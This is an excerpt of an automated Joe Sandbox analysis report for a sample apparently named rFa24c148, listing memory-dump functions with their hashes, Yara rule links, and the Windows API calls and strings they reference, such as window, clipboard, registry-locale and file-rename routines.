Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11739fbb27b9daba30d27d0597666030dd651830222f7a85a15ea7a7144b66d3
Instruction ID: 895d6e25609cf28bb81d21297b264390e2a8e3f67ca4c699fbefa7596bf9a2d2
Opcode Fuzzy Hash: 11739fbb27b9daba30d27d0597666030dd651830222f7a85a15ea7a7144b66d3
Instruction Fuzzy Hash: D1C1BE74E01218CFEB14DFA5C984B9DBBB2BF89300F2080AAD509AB365DB355A85CF55

Function 3655EF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7963abc136c88562a2f52a1eb112af0feca054e2b9ac60457ec9e60e1c940d08
Instruction ID: 03434003d3e02a706238a0c254ee7243272f668081efe4edb3e73426681cd02a
Opcode Fuzzy Hash: 7963abc136c88562a2f52a1eb112af0feca054e2b9ac60457ec9e60e1c940d08
Instruction Fuzzy Hash: 29C1B074E01218CFEB14DFA5C944B9DBBB2EF89300F2080AAD509AB365DB359A85CF51

Function 3655EB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23c7d4db4e62cf28ea34a12940294b4cca375f5f174dabb539ea45e2b1409311
Instruction ID: d63fd3996d1ff48afd98d3844bf2f48b1908c3c5700406087a8f4d5d1075d4be
Opcode Fuzzy Hash: 23c7d4db4e62cf28ea34a12940294b4cca375f5f174dabb539ea45e2b1409311
Instruction Fuzzy Hash: 2FC1B074E01218CFEB14DFA5C944B9DBBB2EF89300F2080AAD409AB365DB359E85CF55

Function 3655F3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f4de2c8e5e106b34e8da69e26f3d9869cfac1c7d2d39151947d562835db6a4
Instruction ID: 352a9ff0531e6bb1a34eef37b2885cb8fafb86bed245a85bf4a558b6b58cfe96
Opcode Fuzzy Hash: b7f4de2c8e5e106b34e8da69e26f3d9869cfac1c7d2d39151947d562835db6a4
Instruction Fuzzy Hash: 21C1BF74E01218CFEB14DFA5C984B9DBBB2EF89300F6080AAD509AB365DB355E85CF51

Function 3655F810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e2297687b83a8d91b57d270163884e0f96fe14a1abcda87f019f250cae0488d
Instruction ID: 31f79e1c9e7fbccfaa8b5e324d13193ad3d6fcc2c73e2f9868899480521b13e8
Opcode Fuzzy Hash: 1e2297687b83a8d91b57d270163884e0f96fe14a1abcda87f019f250cae0488d
Instruction Fuzzy Hash: 79C1B074E01218CFEB14DFA5C954B9DBBB2EF89300F2080AAD909AB365DB355E85CF51

Function 3655D0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c8fece54904f5dfd1268acc02acf0c5ebc3c5efd3f425b0c3929b5b4cdcc6a
Instruction ID: 7286faead62694f867fb0f6d25e629ec18fcae628afed0c78a97859efb8b7b83
Opcode Fuzzy Hash: d7c8fece54904f5dfd1268acc02acf0c5ebc3c5efd3f425b0c3929b5b4cdcc6a
Instruction Fuzzy Hash: 4EC1D074E01218CFEB14DFA5C984B9DBBB2EF89300F2081AAD409AB364DB355E85CF55

Function 3655CCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7bebe8048e5729bca093a4cd7fde9b51dda1b26ad7033c9f9853152915c15e8
Instruction ID: 2ef08426aa9e6b335266e176245debd5e243296fdcb843cf5a177fc9d6a7110e
Opcode Fuzzy Hash: e7bebe8048e5729bca093a4cd7fde9b51dda1b26ad7033c9f9853152915c15e8
Instruction Fuzzy Hash: 46C1BF74E01218CFEB14DFA5C994B9DBBB2EF89300F2080AAD409AB365DB355E85CF51

Function 3655D550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35c2e504ebef26e748fb25262d89f570b79ce586c3c1df86ae6a3f297600ad0e
Instruction ID: f4d9cf99ea3aa82f80d614ddb18d4bb8cf4d7df5e5200614a6092b5bc3fe3fcc
Opcode Fuzzy Hash: 35c2e504ebef26e748fb25262d89f570b79ce586c3c1df86ae6a3f297600ad0e
Instruction Fuzzy Hash: 06C1CF74E01218CFEB14CFA5C994B9DBBB2FF89300F2081AAD409AB365DB355A85CF55

Function 3655D9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996281407.0000000036550000.00000040.00000800.00020000.00000000.sdmp, Offset: 36550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36550000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61a67217830b0a33aae4fa1064fc387248052fff99418ef8e9492c57775c31d0
Instruction ID: 46f7c4054c57cf50d2e555916fcb42bd8ea900caad9ec97f406a8e94cb87e61c
Opcode Fuzzy Hash: 61a67217830b0a33aae4fa1064fc387248052fff99418ef8e9492c57775c31d0
Instruction Fuzzy Hash: 4BC1C074E01218CFEB14DFA5C984B9DBBB2EF89300F2081AAD409AB365DB355E85CF55

Function 367B1BA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996352158.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8d6314473549f5d1f6e8c536c364ff36107282413b3af83c8191cb9e45dab8
Instruction ID: 64cf7385d7a24a6663fb23ed9411c5d3699bf259bdbb2d5a12fa97dd2cfd5829
Opcode Fuzzy Hash: df8d6314473549f5d1f6e8c536c364ff36107282413b3af83c8191cb9e45dab8
Instruction Fuzzy Hash: 7EC1A074E01218CFEB14DFA5C994B9DBBB2EF89300F6080AAD409AB365DB355E85CF51

Function 0016F974 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 777e6541a0ee91023419630141d10bb0a19070562584c47311415c1b1e236678
Instruction ID: f2accde2c8359a985e9f0ee9ebfd358dcf4c2950da7d87e0788b5d5df6a16518
Opcode Fuzzy Hash: 777e6541a0ee91023419630141d10bb0a19070562584c47311415c1b1e236678
Instruction Fuzzy Hash: E2C19F74E01218CFDB14DFA5C994B9DBBB2EF89301F2080A9D809AB365DB355E86CF51

Function 36830A10 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996509899.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c6461fd950fb5ad7ad873fe9de8546a62630e4351789c00dd594cf701bb1e00
Instruction ID: cf3c56af3e0adc3a7dcd0a4739cb687bbceb4c6e422081c85f81779283d48df5
Opcode Fuzzy Hash: 6c6461fd950fb5ad7ad873fe9de8546a62630e4351789c00dd594cf701bb1e00
Instruction Fuzzy Hash: F0B16474E11218CFDB54DFA9C894A9DBBF2FF89311F2081A9D819AB365DB30A941CF50

Function 368308DE Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996509899.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a7134ea4434c797aeae747c6ad4c4fa1f4139f1e30ea31ecdd8a076740269c7
Instruction ID: 1aba190f2034458607596d7b928a61cb6d4bfd066ea2b807e83b22bd5cff2ae6
Opcode Fuzzy Hash: 3a7134ea4434c797aeae747c6ad4c4fa1f4139f1e30ea31ecdd8a076740269c7
Instruction Fuzzy Hash: 227117B8E012488FDB58CFB9C88499DBBF2FF89310F2481A9D495AB365D7309942CF54

Function 36830960 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2996509899.0000000036830000.00000040.00000800.00020000.00000000.sdmp, Offset: 36830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36830000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a63ffbd0badae7025c1d3273fe6076a729bbe708ec2cc980fc09b78d652c55bb
Instruction ID: e52e8caf668a429adee070f316dea0def96da3f0664dcfb8503a1f93a1b1fde8
Opcode Fuzzy Hash: a63ffbd0badae7025c1d3273fe6076a729bbe708ec2cc980fc09b78d652c55bb
Instruction Fuzzy Hash: 0F71F7B8E016488FDB58CFB9C884A9DBBF2FF89310F248169D495AB365D7309942CF54

Function 0016F2C0 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6be93c3665f8d542d2e20e06d29466537f95eeb9cabcae943958c08bbc8a7474
Instruction ID: 2a10cd4b2759a6a76071ae15f6f9ad0fb54c403d1e967663f59139ba7d0a2a10
Opcode Fuzzy Hash: 6be93c3665f8d542d2e20e06d29466537f95eeb9cabcae943958c08bbc8a7474
Instruction Fuzzy Hash: 07512770E02208CBDB04DFA9D9557EEBBB2FB89300F24D129D404BB294DB759892CF54

Function 0016F4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2969124882.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_rFa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0ad598f7cdffe6c489453285446a29b1ae5ba24e1e0dd58bbce88d95a762a44
Instruction ID: 72df4d8c5fdedea719138fb66e7fcf28f0fcbc0ed9c996384160f385e9300194
Opcode Fuzzy Hash: c0ad598f7cdffe6c489453285446a29b1ae5ba24e1e0dd58bbce88d95a762a44
Instruction Fuzzy Hash: BD51F270E06218CBDB04DFA8E9957AEBBB2FB49300F209129D415BB694DB359892CF54

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BF
GetDlgItem.USER32(?,000003EE), ref: 004051CE
GetClientRect.USER32(?,?), ref: 0040520B
GetSystemMetrics.USER32(00000015), ref: 00405213
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405234
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405245
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405258
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405266
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405279
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040529B
ShowWindow.USER32(?,00000008), ref: 004052AF
GetDlgItem.USER32(?,000003EC), ref: 004052D0
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004052E0
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052F9
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405305
GetDlgItem.USER32(?,000003F8), ref: 004051DD

Part of subcall function 00403FF1: SendMessageW.USER32(00000028,?,00000001,00403E1D), ref: 00403FFF

GetDlgItem.USER32(?,000003EC), ref: 00405322
CreateThread.KERNEL32(00000000,00000000,Function_000050F4,00000000), ref: 00405330
CloseHandle.KERNEL32(00000000), ref: 00405337
ShowWindow.USER32(00000000), ref: 0040535B
ShowWindow.USER32(?,00000008), ref: 00405360
ShowWindow.USER32(00000008), ref: 004053AA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053DE
CreatePopupMenu.USER32 ref: 004053EF
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405403
GetWindowRect.USER32(?,?), ref: 00405423
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040543C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405474
OpenClipboard.USER32(00000000), ref: 00405484
EmptyClipboard.USER32 ref: 0040548A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405496
GlobalLock.KERNEL32(00000000), ref: 004054A0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004054B4
GlobalUnlock.KERNEL32(00000000), ref: 004054D4
SetClipboardData.USER32(0000000D,00000000), ref: 004054DF
CloseClipboard.USER32 ref: 004054E5

Strings

{, xrefs: 004053C8

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 45a22419854ef496da6d8936d9b7bf7694c075be71a1eb13d6de5557fdea4b02
Instruction ID: 0991f248181b02e880a99382a637b1aa596eb82eb2a2f586ae382473c4d6dcb0
Opcode Fuzzy Hash: 45a22419854ef496da6d8936d9b7bf7694c075be71a1eb13d6de5557fdea4b02
Instruction Fuzzy Hash: 9CB15970900209FFEB219F60DD89AAE7B79FB04355F00807AFA01BA1A0C7755E52DF69

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B20
ShowWindow.USER32(?), ref: 00403B3D
DestroyWindow.USER32 ref: 00403B51
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403B6D
GetDlgItem.USER32(?,?), ref: 00403B8E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403BA2
IsWindowEnabled.USER32(00000000), ref: 00403BA9
GetDlgItem.USER32(?,00000001), ref: 00403C57
GetDlgItem.USER32(?,00000002), ref: 00403C61
SetClassLongW.USER32(?,000000F2,?), ref: 00403C7B
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403CCC
GetDlgItem.USER32(?,00000003), ref: 00403D72
ShowWindow.USER32(00000000,?), ref: 00403D93
EnableWindow.USER32(?,?), ref: 00403DA5
EnableWindow.USER32(?,?), ref: 00403DC0
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DD6
EnableMenuItem.USER32(00000000), ref: 00403DDD
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403DF5
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403E08
lstrlenW.KERNEL32(00422698,?,00422698,004281A0), ref: 00403E31
SetWindowTextW.USER32(?,00422698), ref: 00403E45
ShowWindow.USER32(?,0000000A), ref: 00403F79

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: b883d8f4190a66d351c5eadddd01b1b9d646dcf61297c4c4bd8721fadccfd406
Instruction ID: d7c36ab4ba1e77d3c514d2e075e7bf05f8385f4f0eed445bed2eaaef7d4a98f3
Opcode Fuzzy Hash: b883d8f4190a66d351c5eadddd01b1b9d646dcf61297c4c4bd8721fadccfd406
Instruction Fuzzy Hash: 71C1AE71A04205ABEB216F61ED45D3B7A7CFB49306F40053EF501B11E1CB79A952DB2E

Function 00403741 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

lstrcatW.KERNEL32(00436000,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,00436800,74DF3420,00000000,00434000), ref: 004037C2
lstrlenW.KERNEL32(00427140,?,?,?,00427140,00000000,00434800,00436000,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000,00000006,00436800), ref: 00403842
lstrcmpiW.KERNEL32(00427138,.exe,00427140,?,?,?,00427140,00000000,00434800,00436000,00422698,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422698,00000000), ref: 00403855
GetFileAttributesW.KERNEL32(00427140), ref: 00403860
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 004038A9

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

RegisterClassW.USER32(00428140), ref: 004038E6
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004038FE
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403933
ShowWindow.USER32(00000005,00000000), ref: 00403969
LoadLibraryW.KERNEL32(RichEd20), ref: 0040397A
LoadLibraryW.KERNEL32(RichEd32), ref: 00403985
GetClassInfoW.USER32(00000000,RichEdit20W,00428140), ref: 00403995
GetClassInfoW.USER32(00000000,RichEdit,00428140), ref: 004039A2
RegisterClassW.USER32(00428140), ref: 004039AB
DialogBoxParamW.USER32(?,00000000,00403AE4,00000000), ref: 004039CA

Strings

RichEdit, xrefs: 0040399C
.DEFAULT\Control Panel\International, xrefs: 004037AD
RichEd20, xrefs: 00403975
BqB, xrefs: 00403831
_Nb, xrefs: 004038C5, 0040392D
@qB, xrefs: 00403809
RichEdit20W, xrefs: 0040398D, 00403993
.exe, xrefs: 0040384F
RichEd32, xrefs: 00403980
Control Panel\Desktop\ResourceLocale, xrefs: 00403775

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@qB$BqB$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-3515803648
Opcode ID: f555b8f8d7a629cb31c752cf441c6d14d2dfedfb2abaaf91fc7246ea5f6fb938
Instruction ID: afa308160dea80a5d8dcbd85ebd8b3f8f2b3ac55536d549029ec0fdf087277f4
Opcode Fuzzy Hash: f555b8f8d7a629cb31c752cf441c6d14d2dfedfb2abaaf91fc7246ea5f6fb938
Instruction Fuzzy Hash: 5D61C471644300BAE720AF269C4AF3B3A6CEB45745F80447FF940B62E1DB799D12CA2D

Function 00404159 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004041F7
GetDlgItem.USER32(?,000003E8), ref: 0040420B
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404228
GetSysColor.USER32(?), ref: 00404239
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404247
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404255
lstrlenW.KERNEL32(?), ref: 0040425A
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404267
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040427C
GetDlgItem.USER32(?,0000040A), ref: 004042D5
SendMessageW.USER32(00000000), ref: 004042DC
GetDlgItem.USER32(?,000003E8), ref: 00404307
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040434A
LoadCursorW.USER32(00000000,00007F02), ref: 00404358
SetCursor.USER32(00000000), ref: 0040435B
ShellExecuteW.SHELL32(0000070B,open,@qB,00000000,00000000,00000001), ref: 00404370
LoadCursorW.USER32(00000000,00007F00), ref: 0040437C
SetCursor.USER32(00000000), ref: 0040437F
SendMessageW.USER32(00000111,00000001,00000000), ref: 004043AE
SendMessageW.USER32(00000010,00000000,00000000), ref: 004043C0

Strings

@qB, xrefs: 00404365
N, xrefs: 004042F5
open, xrefs: 00404368

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @qB$N$open
API String ID: 3615053054-1317396031
Opcode ID: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction ID: bf3a58da35b54ffee1731227a2abeb8335aa36a287bc534981c9d3d9286f6950
Opcode Fuzzy Hash: 9f8ac8ff2f5d328cc3453d20dad54c1a32f190e354825bf3c7395e5a162293c3
Instruction Fuzzy Hash: F4718FB1A00209BFDB109F61DD85E6A7B79FB44354F00803AFA01B62D0D778AD61CFA9

Function 00405A95 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D38,NUL,?,00000000,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AA5
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405C39,?,?,00000001,004057B1,?,00000000,000000F1,?), ref: 00405AC9
GetShortPathNameW.KERNEL32(00000000,00425D38,00000400), ref: 00405AD2

Part of subcall function 00405948: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
Part of subcall function 00405948: lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

GetShortPathNameW.KERNEL32(?,00426538,00000400), ref: 00405AEF
wsprintfA.USER32 ref: 00405B0D
GetFileSize.KERNEL32(00000000,00000000,00426538,C0000000,00000004,00426538,?,?,?,?,?), ref: 00405B48
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405B57
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B8F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425938,00000000,-0000000A,00409514,00000000,[Rename],00000000,00000000,00000000), ref: 00405BE5
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BF7
GlobalFree.KERNEL32(00000000), ref: 00405BFE
